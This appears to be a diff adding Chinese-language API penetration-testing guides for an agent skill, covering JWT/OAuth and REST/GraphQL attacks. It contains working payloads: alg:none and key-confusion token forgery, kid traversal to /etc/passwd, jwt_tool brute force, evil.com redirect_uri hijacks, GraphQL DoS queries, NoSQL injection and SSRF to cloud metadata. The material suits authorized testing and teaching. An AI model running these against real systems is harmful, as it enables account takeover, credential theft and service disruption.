161
|
+
□ 错误消息信息泄漏: 堆栈跟踪/内部路径/SQL 错误
|
|
162
|
+
□ GraphQL 嵌套遍历访问越权数据
|
|
163
|
+
□ OpenAPI 规范暴露敏感端点
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
### Phase 10: CI/CD 集成
|
|
167
|
+
|
|
168
|
+
```text
|
|
169
|
+
□ Entropy --ci --watch: spec 变更时自动重跑
|
|
170
|
+
□ Escape DAST: 按严重度阈值自动阻断构建
|
|
171
|
+
□ 发现持久化为回归测试
|
|
172
|
+
□ StackHawk(开发者优先、ZAP 内核)
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
## 工具链
|
|
176
|
+
|
|
177
|
+
| 工具 | 用途 | 获取 |
|
|
178
|
+
|------|------|------|
|
|
179
|
+
| Vespasian | 流量 → OpenAPI/GraphQL 规范 | GitHub: praetorian-inc/vespasian |
|
|
180
|
+
| Entropy | LLM 生成攻击场景,5 personas | GitHub: arjinexe/entropy-chaos |
|
|
181
|
+
| Escape DAST | 业务逻辑安全测试 | escape.tech |
|
|
182
|
+
| api.sh | 8 阶段全协议攻击管道 | GitHub: Sharon-Needles/api |
|
|
183
|
+
| FireTail | GraphQL 12 专项测试 | firetail.ai |
|
|
184
|
+
| jwt_tool | JWT 全面测试 | GitHub: ticarpi/jwt_tool |
|
|
185
|
+
| Burp Autorize | 双会话授权对比 | Burp BApp Store |
|
|
186
|
+
|
|
187
|
+
## 参考
|
|
188
|
+
|
|
189
|
+
- `references/rest-graphql-testing.md` — REST + GraphQL 深度测试
|
|
190
|
+
- `references/jwt-oauth-testing.md` — JWT + OAuth 安全测试
|
|
191
|
+
|
|
192
|
+
|
|
193
|
+
## 任务完成自检(声称完成前 MUST 通过)
|
|
194
|
+
|
|
195
|
+
- [ ] 我是否执行了工作流中的每一步(而不是只阅读)?
|
|
196
|
+
- [ ] 我是否基于 `tool-index` 使用了真实工具路径?
|
|
197
|
+
- [ ] 我是否产出了可复现证据(命令/脚本/截图/报告)?
|
|
198
|
+
- [ ] 我是否完成并回写了 RULES 要求的 Checklist 项?
|
|
199
|
+
|
|
200
|
+
## Limitations
|
|
201
|
+
|
|
202
|
+
- Only run against APIs you are explicitly authorized to test.
|
|
203
|
+
- Some checks are intrusive; prefer non-production mirrors when available.
|
|
204
|
+
|
|
205
|
+
> Adapted from [zhaoxuya520/reverse-skill](https://github.com/zhaoxuya520/reverse-skill) (MIT).
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
# JWT + OAuth 2.0 安全测试
|
|
2
|
+
|
|
3
|
+
## JWT 攻击面
|
|
4
|
+
|
|
5
|
+
### 1. 算法混淆
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
# alg:none — 最经典
|
|
9
|
+
# 原始: {"alg":"RS256","typ":"JWT"}.payload.signature
|
|
10
|
+
# 攻击: {"alg":"none","typ":"JWT"}.payload. (空签名)
|
|
11
|
+
|
|
12
|
+
# RS256 → HS256 密钥混淆
|
|
13
|
+
# 如果服务端用 RS256 公钥做 HS256 验证
|
|
14
|
+
# 可以把公钥当 HMAC 密钥来签名
|
|
15
|
+
python3 jwt_tool.py <JWT> -X k -pk public.pem
|
|
16
|
+
|
|
17
|
+
# kid 注入
|
|
18
|
+
# {"alg":"HS256","kid":"../../../../etc/passwd"}
|
|
19
|
+
# 服务端用 kid 指向的文件内容做 HMAC 密钥
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
### 2. jwt_tool 完整用法
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
# 全面扫描
|
|
26
|
+
python3 jwt_tool.py <JWT> -t <URL> -cv "Authorization: Bearer <JWT>"
|
|
27
|
+
|
|
28
|
+
# 弱密钥爆破
|
|
29
|
+
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
|
|
30
|
+
|
|
31
|
+
# 声明篡改
|
|
32
|
+
python3 jwt_tool.py <JWT> -I -pc role -pv admin
|
|
33
|
+
python3 jwt_tool.py <JWT> -I -pc exp -pv 9999999999
|
|
34
|
+
|
|
35
|
+
# RSA 密钥混淆
|
|
36
|
+
python3 jwt_tool.py <JWT> -X k -pk public.pem
|
|
37
|
+
|
|
38
|
+
# 嵌入 JWK
|
|
39
|
+
python3 jwt_tool.py <JWT> -X i
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
### 3. 手工 JWT 篡改
|
|
43
|
+
|
|
44
|
+
```python
|
|
45
|
+
import jwt
|
|
46
|
+
import base64
|
|
47
|
+
|
|
48
|
+
# 解码(不验证)
|
|
49
|
+
header, payload, sig = jwt.split('.')
|
|
50
|
+
|
|
51
|
+
# 篡改 payload
|
|
52
|
+
payload['role'] = 'admin'
|
|
53
|
+
payload['exp'] = 9999999999
|
|
54
|
+
|
|
55
|
+
# alg:none
|
|
56
|
+
new_token = base64url_encode(header) + '.' + base64url_encode(payload) + '.'
|
|
57
|
+
|
|
58
|
+
# HS256 with known key
|
|
59
|
+
new_token = jwt.encode(payload, 'secret', algorithm='HS256')
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
## OAuth 2.0 攻击面
|
|
63
|
+
|
|
64
|
+
### Authorization Code Grant
|
|
65
|
+
|
|
66
|
+
```text
|
|
67
|
+
1. redirect_uri 操控
|
|
68
|
+
正常: https://app.com/callback?code=AUTH_CODE
|
|
69
|
+
攻击: https://app.com/callback@evil.com?code=AUTH_CODE
|
|
70
|
+
https://evil.com/?redirect=https://app.com/callback?code=AUTH_CODE
|
|
71
|
+
开放重定向 + redirect_uri: https://app.com/callback?redirect=https://evil.com
|
|
72
|
+
|
|
73
|
+
2. CSRF via state 缺失
|
|
74
|
+
无 state 参数 → 攻击者用自己的 code 绑定受害者 session
|
|
75
|
+
|
|
76
|
+
3. PKCE 缺失
|
|
77
|
+
无 code_challenge → 授权码拦截攻击
|
|
78
|
+
|
|
79
|
+
4. Token 在 Referer 泄漏
|
|
80
|
+
回调页面加载外部资源 → Referer 头包含 code/token
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
### Implicit Grant(已废弃但仍有部署)
|
|
84
|
+
|
|
85
|
+
```text
|
|
86
|
+
1. access_token 在 URL fragment → Referer 泄漏
|
|
87
|
+
2. token 在浏览器历史 → 物理访问风险
|
|
88
|
+
3. 无客户端认证 → token 替换攻击
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
### Client Credentials Grant
|
|
92
|
+
|
|
93
|
+
```text
|
|
94
|
+
1. client_secret 泄漏(前端/移动端硬编码)
|
|
95
|
+
2. 过度 scope 授予
|
|
96
|
+
3. 无 client 限速 → 暴力枚举
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
### 通用 OAuth 测试
|
|
100
|
+
|
|
101
|
+
```text
|
|
102
|
+
□ 测试 scope 提升: scope=read → scope=read%20write
|
|
103
|
+
□ Token 重放: 用旧的 access_token 访问新资源
|
|
104
|
+
□ Refresh token 滥用: refresh_token 无限续期
|
|
105
|
+
□ 跨租户访问: tenant A 的 token 访问 tenant B
|
|
106
|
+
□ Token 在日志/URL/Referer 中泄漏
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
## 工具
|
|
110
|
+
|
|
111
|
+
```bash
|
|
112
|
+
# JWT 测试
|
|
113
|
+
pip install jwt-tool pyjwt
|
|
114
|
+
|
|
115
|
+
# OAuth 测试
|
|
116
|
+
# Burp Suite + OAuth Scanner 扩展
|
|
117
|
+
# Postman OAuth 2.0 流程测试
|
|
118
|
+
|
|
119
|
+
# 自动化
|
|
120
|
+
# Entropy: 自动 JWT 篡改 + OAuth redirect_uri 测试
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
Source: OWASP API Top 10 (API2: Broken Authentication), jwt_tool, PortSwigger OAuth research
|
|
@@ -0,0 +1,137 @@
|
|
|
1
|
+
# REST + GraphQL 深度测试
|
|
2
|
+
|
|
3
|
+
## GraphQL 安全测试完整清单
|
|
4
|
+
|
|
5
|
+
### 内省探测(三级降级)
|
|
6
|
+
|
|
7
|
+
```graphql
|
|
8
|
+
# Level 1 — 标准内省
|
|
9
|
+
{ __schema { queryType { name } mutationType { name } types { name fields { name type { name } } } } }
|
|
10
|
+
|
|
11
|
+
# Level 2 — 精简内省(绕过 WAF)
|
|
12
|
+
{ __schema { types { name } } }
|
|
13
|
+
|
|
14
|
+
# Level 3 — 最小探测
|
|
15
|
+
{ __type(name: "Query") { name } }
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
### DoS 攻击向量
|
|
19
|
+
|
|
20
|
+
```graphql
|
|
21
|
+
# 别名过载
|
|
22
|
+
query { a1: __typename a2: __typename ... a100: __typename }
|
|
23
|
+
|
|
24
|
+
# 批查询过载
|
|
25
|
+
[query1, query2, ..., query10]
|
|
26
|
+
|
|
27
|
+
# 循环查询
|
|
28
|
+
query { __schema { types { fields { type { fields { type { fields { name } } } } } } } }
|
|
29
|
+
|
|
30
|
+
# 指令过载
|
|
31
|
+
query { __typename @skip(if: false) @include(if: true) ... }
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
### 授权测试
|
|
35
|
+
|
|
36
|
+
```graphql
|
|
37
|
+
# GET 突变(CSRF)
|
|
38
|
+
GET /graphql?query=mutation+{+deleteUser(id:1)+}
|
|
39
|
+
|
|
40
|
+
# 批查询绕过认证
|
|
41
|
+
[
|
|
42
|
+
{ "query": "query { me { id } }" },
|
|
43
|
+
{ "query": "mutation { deleteUser(id: 2) }" }
|
|
44
|
+
]
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
## REST API 深度测试
|
|
48
|
+
|
|
49
|
+
### 方法操控矩阵
|
|
50
|
+
|
|
51
|
+
| 端点 | GET | POST | PUT | PATCH | DELETE | OPTIONS |
|
|
52
|
+
|------|-----|------|-----|-------|--------|---------|
|
|
53
|
+
| /users | ✓ 可访问 | 测试越权创建 | 测试批量覆盖 | 测试字段注入 | 测试级联删除 | 信息泄漏 |
|
|
54
|
+
| /users/me | 基准 | — | 测试自我提权 | 测试字段追加 | 测试自我删除 | — |
|
|
55
|
+
|
|
56
|
+
### 参数注入
|
|
57
|
+
|
|
58
|
+
```json
|
|
59
|
+
// NoSQL 注入
|
|
60
|
+
{"username": {"$gt": ""}, "password": {"$ne": ""}}
|
|
61
|
+
|
|
62
|
+
// 批量赋值
|
|
63
|
+
{"email": "user@example.com", "role": "admin", "isAdmin": true}
|
|
64
|
+
|
|
65
|
+
// 参数污染
|
|
66
|
+
GET /api/users?role=user&role=admin
|
|
67
|
+
|
|
68
|
+
// JSON 数组注入
|
|
69
|
+
{"ids": [1, 2, 3]} → {"ids": ["1 UNION SELECT ..."]}
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
### SSRF via API
|
|
73
|
+
|
|
74
|
+
```
|
|
75
|
+
常见 SSRF 参数: webhook_url, callback_url, avatar_url, import_url,
|
|
76
|
+
redirect_uri, file_url, proxy_url, image_url
|
|
77
|
+
测试: http://169.254.169.254/latest/meta-data/ (AWS)
|
|
78
|
+
http://metadata.google.internal/ (GCP)
|
|
79
|
+
file:///etc/passwd
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
## 自动化工具链
|
|
83
|
+
|
|
84
|
+
### Vespasian(流量驱动规范生成)
|
|
85
|
+
|
|
86
|
+
```bash
|
|
87
|
+
# 从无头浏览器爬取
|
|
88
|
+
vespasian crawl --url https://target.com --depth 3
|
|
89
|
+
|
|
90
|
+
# 从 Burp/HAR 导入
|
|
91
|
+
vespasian import --file traffic.har
|
|
92
|
+
|
|
93
|
+
# 导出 OpenAPI 3.0 + GraphQL SDL
|
|
94
|
+
vespasian export --format openapi3 --output api-spec.yaml
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
### Entropy(LLM 攻击生成)
|
|
98
|
+
|
|
99
|
+
```bash
|
|
100
|
+
# 基于 spec 的自动测试
|
|
101
|
+
entropy --spec api-spec.yaml --live --persona all
|
|
102
|
+
|
|
103
|
+
# 五种并发人格:
|
|
104
|
+
# - malicious_insider: IDOR/批量赋值/权限提升
|
|
105
|
+
# - bot_swarm: 限速绕过/DoS/自动化滥用
|
|
106
|
+
# - penetration_tester: 注入/认证绕过
|
|
107
|
+
# - impatient_consumer: 竞态条件/错误处理
|
|
108
|
+
# - confused_user: 意外输入/边界测试
|
|
109
|
+
|
|
110
|
+
# CI 模式
|
|
111
|
+
entropy --spec api-spec.yaml --ci --watch
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
### api.sh(8 阶段管道)
|
|
115
|
+
|
|
116
|
+
```bash
|
|
117
|
+
# Phase 1-3: GraphQL 侦察 → 利用 → 爆破
|
|
118
|
+
./api.sh graphql-recon https://target.com/graphql
|
|
119
|
+
./api.sh graphql-exploit https://target.com/graphql
|
|
120
|
+
|
|
121
|
+
# Phase 4: REST 滥用
|
|
122
|
+
./api.sh rest-abuse https://target.com/api
|
|
123
|
+
|
|
124
|
+
# Phase 5: WebSocket
|
|
125
|
+
./api.sh ws-test wss://target.com/ws
|
|
126
|
+
|
|
127
|
+
# Phase 6: SOAP/XXE
|
|
128
|
+
./api.sh soap-xxe https://target.com/soap
|
|
129
|
+
|
|
130
|
+
# Phase 7: 限速绕过
|
|
131
|
+
./api.sh rate-bypass https://target.com/api
|
|
132
|
+
|
|
133
|
+
# Phase 8: Schema 收割
|
|
134
|
+
./api.sh schema-harvest https://target.com
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
Source: OWASP API Top 10, Praetorian Vespasian, Entropy, FireTail GraphQL
|